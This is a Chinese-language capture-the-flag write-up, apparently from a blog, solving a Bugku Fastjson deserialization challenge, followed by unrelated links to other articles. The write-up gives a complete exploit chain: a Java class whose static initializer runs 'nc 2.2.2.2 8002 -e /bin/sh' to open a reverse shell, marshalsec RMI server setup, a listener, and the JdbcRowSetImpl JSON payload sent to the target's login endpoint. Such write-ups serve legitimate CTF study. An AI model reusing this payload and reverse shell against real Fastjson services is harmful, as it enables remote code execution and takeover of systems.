Java Fastjson Unserialize

题目地址: https://ctf.bugku.com/challenges/detail/id/339.html

1. 查看网页源代码

<script type="text/javascript">
function formSubmit(){
var data=new Object();
data.user=document.getElementById('user').value;
data.pwd=document.getElementById('password').value;
var json=JSON.stringify(data); var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', '/login', true);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpRequest.send(json); httpRequest.onreadystatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
var responseText = httpRequest.responseText;
data.pwd=document.getElementById('response').innerHTML=responseText;
}
};
}
</script>

可以看到点击登陆按钮提交后post方式 跳转到 /login 界面 这就是我们要构造的http请求头

2. 搭建所需环境

2.1 搭建java RMI服务

cd  #到家目录

#创建 fastjson-test目录
mkdir fastjson-test #进入fastjson-test目录
cd fastjson-test # 克隆marshalsec
#git clone https://github.com/mbechler/marshalsec #我已经上传到gitee 用wget下载即可 上面的命令可以跳过
#没有下载wget 请自行下载安装wget
wget https://gitee.com/kittysmith5/log4j2/raw/master/rmi/marshalsec-0.0.3-SNAPSHOT-all.jar

2.2 创建一个执行反弹shell命令的java类

#还是在 fastjson-test 目录
touch Test.java #编辑Test.java
vim Test.java

Test.java内容如下

import java.lang.Runtime;
import java.lang.Process; public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
//2.2.2.2改成自己云服务器的公网ip
String commands = "nc 2.2.2.2 8002 -e /bin/sh";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
System.out.println("error!");
}
}
}

编译Test.java

javac Test.java

会在当前目录生成一个Test.class的文件, 待会有大用!

2.3 新开一个shell终端用python启动一个http服务

sudo python3 -m http.server

2.4 新开一个shell终端启动RMI服务监听9999端口

将2.2.2.2改为自己的公网ip! #Test对应Test.java

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8000/#Test" 9999

2.5 新开一个shell终端nc监听8002端口

nc -lvn 8002

3. kali下使用burpsuite进行攻击

http请求头如下

POST /login HTTP/1.1

Host: 114.67.175.224:19692

Connection: close

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

If-Modified-Since: Fri, 03 Dec 2021 07:30:50 GMT

Content-Length: 271

{

    "user":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "password":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://2.2.2.2:9999/Test",

        "autoCommit":true

    }

}

没有回应就是成功吗, 回到nc监听的shell终端页面,

输入cd / 和cat flag就能得到flag

先丢尽记事本, 再复制json , cnblogs的换行符有问题

Java Fastjson Unserialize WriteUp的更多相关文章

  1. Java FastJson 介绍

    1.前言 1.1.FastJson的介绍: JSON协议使用方便,越来越流行,JSON的处理器有很多,这里我介绍一下FastJson,FastJson是阿里的开源框架,被不少企业使用,是一个极其优秀的 ...

  2. java FastJSON的使用

    1.JSON介绍 JSON(javaScript Object Notation)是一种轻量级的数据交换格式.主要采用键值对({"name": "json"}) ...

  3. java FastJson的使用总结

    1.前言 1.1.FastJson的介绍: JSON(javaScript Object Notation)是一种轻量级的数据交换格式.主要采用键值对({"name": " ...

  4. java fastjson:Map与json以及JSONObject ,JSONObject与String互转

    import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson ...

  5. java fastjson 设置全局输出name最小化

    1.通过自定义Filter实现 https://github.com/alibaba/fastjson/wiki/SerializeFilter public class JackJsonLowCas ...

  6. java fastJson

    // 大区的数据 String cityList = "[{'title':'华北','value':'1','children':[{'title':'山东','value':'1.1', ...

  7. Java反序列化漏洞总结

    本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...

  8. 关于thrift的一些探索——thrift序列化技术

    thrift的IDL,相当于一个钥匙.而thrift传输过程,相当于从两个房间之间的传输数据. 图-1 (因为Thrift采用了C/S模型,不支持双向通信:client只能远程调用server端的RP ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  10. dubbox2.8.4例子教程二

    简介 上篇博客写了个dubbox生产者,也用HttpClient代码测试了rest服务,下面记录dubbox消费者工程  一.工程结构    一.Simple.java package bhz.ent ...

随机推荐

  1. macOS NSScrollView简单使用

    先看图片 这里是NSScrollView配合其他控件使用,我们这里只讲NSScrollView. 复制以下代码即可以运行 @interface ViewControl () /** 滚动显示 */ @ ...

  2. execsnoop

    作用 execsnoop通过ftrace实时监控进程的exec()行为,输出短时进程的信息,包括进程 PID.父进程 PID.命令行参数以及执行的结果. 安装execsnoop git clone - ...

  3. VIM的撤销与恢复设置行数

    vim撤销操作:u vim恢复操作:ctrl+r 设置行数:    :set nu

  4. laravel service provider 1

    可以理解成分两步: 配置.register, 因为只有配置了才有被调用去register, 也许不配置直接在appserviceProvider里面可以直接生效.... service: 具体工作的类 ...

  5. 在集群上运行Spark应用

    初识Spark真的存在很多疑问:Spark需要部署在集群里的每个节点上吗?Spark怎么有这么多依赖,这些依赖分别又有什么用?官网里边demo是用sbt构建的,难道还有再学一下sbt吗? --就是这么 ...

  6. Django Rest Frame work 如何使用serializers序列化

    Django Rest Frame work 如何使用serializers序列化       Django Rest Framework提供了serializers模块,用于序列化和反序列化模型实例 ...

  7. Hyperledger fabric 续篇

    前面我们如果进行顺利的话,环境已经可以成功运行,并且前端页面也可以正常显示,为自己鼓掌吧!!! 接下来,其实也是我自己想做一下尝试,还记得前面的一条查询车辆情况的指令吗? peer chaincode ...

  8. 算法图解 - 第1章 二分查找 与大O

    例子:猜一个1到100之间的数,最多猜几次? # 最糟糕的猜法:一个一个的猜 - 最多查找次数: n  - 运行时间: O(n) # 二分查找:在有序的一组数中猜一个数,对半猜.找到返回其位置(索引) ...

  9. 'umi' 不是内部或外部命令,也不是可运行的程序 或批处理文件或umi: command not found

    问题 'umi' 不是内部或外部命令,也不是可运行的程序 或批处理文件或umi: command not found 解决方法 参考链接:https://blog.csdn.net/weixin_40 ...

  10. java使用array是copyof创建新长度数组

    Arrays.copyof() int[] copied = Arrays.copyOf(arr, 10); //10 the the length of the new array System.o ...